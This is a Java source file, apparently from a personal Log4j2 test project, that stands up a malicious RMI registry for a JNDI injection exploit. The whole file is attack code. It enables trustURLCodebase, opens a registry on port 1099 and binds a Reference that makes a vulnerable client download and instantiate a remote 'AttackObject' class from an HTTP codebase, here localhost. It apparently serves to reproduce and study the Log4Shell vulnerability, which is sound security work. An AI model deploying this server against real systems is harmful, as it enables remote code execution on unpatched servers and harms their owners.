package com.imddy.testlog4j2.rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.Reference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {

	public static void main(String[] args) {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
		System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

		try {
			LocateRegistry.createRegistry(1099);
			Registry registry = LocateRegistry.getRegistry();

			System.out.println("Create RMI registry on port 1099!");
			// 前两个参数为类名，第三个参数为远程类地址
			Reference reference = new Reference("AttackObject", "AttackObject", "http://127.0.0.1:80/");
			ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
			registry.bind("obj", referenceWrapper);
		} catch (Exception e) {
			e.printStackTrace();
		}

		System.out.println("RegistryServer is runing ...... ");

	}

}
